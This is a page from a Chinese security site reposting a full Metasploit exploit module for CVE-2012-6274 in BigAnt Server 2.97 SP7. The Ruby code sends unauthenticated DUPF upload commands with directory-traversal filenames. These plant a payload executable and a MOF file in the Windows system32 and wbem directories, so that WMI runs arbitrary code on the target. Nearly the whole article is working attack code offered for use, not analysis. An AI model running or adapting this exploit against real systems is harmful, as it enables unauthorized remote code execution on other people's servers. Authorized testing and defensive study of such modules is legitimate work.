首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BigAnt Server DUPF Command Arbitrary File Upload Vulnerability
来源:metasploit.com 作者:vazquez 发布时间:2013-02-20  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server DUPF Command Arbitrary File Upload',
      'Description'    => %q{
          This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
        A lack of authentication allows to make unauthenticated file uploads through a DUPF
        command. Additionally the filename option in the same command can be used to launch
        a directory traversal attack and achieve arbitrary file upload.

        The module uses uses the Windows Management Instrumentation service to execute an
        arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
        has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
        SP2.
      },
      'Author'         =>
        [
          'Hamburgers Maccoy', # Vulnerability discovery
          'juan vazquez'       # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6274' ],
          [ 'US-CERT-VU', '990652' ],
          [ 'BID', '57214' ],
          [ 'OSVDB', '89342' ]
        ],
      'Privileged'     => true,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BigAnt Server 2.97 SP7', { } ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions'  =>
        {
          'WfsDelay' => 10
        },
      'DisclosureDate' => 'Jan 09 2013'))

    register_options(
      [
        Opt::RPORT(6661),
        OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
      ], self.class)

  end

  def upload_file(filename, content)

    random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"

    dupf = "DUPF 16\n"
    dupf << "cmdid: 1\n"
    dupf << "content-length: #{content.length}\n"
    dupf << "content-type: Appliction/Download\n"
    dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
    dupf << "modified: #{random_date}\n"
    dupf << "pclassid: 102\n"
    dupf << "pobjid: 1\n"
    dupf << "rootid: 1\n"
    dupf << "sendcheck: 1\n\n"
    dupf << content

    print_status("sending DUPF")
    connect
    sock.put(dupf)
    res = sock.get_once
    disconnect
    return res

  end

  def exploit

    peer = "#{rhost}:#{rport}"

    # Setup the necessary files to do the wbemexec trick
    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
    exe      = generate_payload_exe
    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
    mof      = generate_mof(mof_name, exe_name)

    print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
    res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
      print_good("#{peer} - #{exe_name} uploaded successfully")
    else
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
        print_error("#{peer} - Upload failed, check the DEPTH option")
      end
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
    end

    print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
    res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
      print_good("#{peer} - #{mof_name} uploaded successfully")
      register_file_for_cleanup(exe_name)
      register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
    else
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
        print_error("#{peer} - Upload failed, check the DEPTH option")
      end
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
    end

  end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows Manage User Level Pers
·BigAnt Server 2 SCH And DUPF B
·Photodex ProShow Producer v5.0
·OpenEMR PHP File Upload
·Photodex ProShow Producer 5.0.
·ArrowChat 1.5.61 RFI Vulnerabi
·VLC 2.0.5 (.bmp) Heap Overflow
·TeamViwer V8.0.16642 Insecure
·Apple iPhone iOS Default SSH P
·Photodex ProShow Producer 5.0.
·xMatters Alarmpoint BoF-0day
·MS Office 2010 Download Execut
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved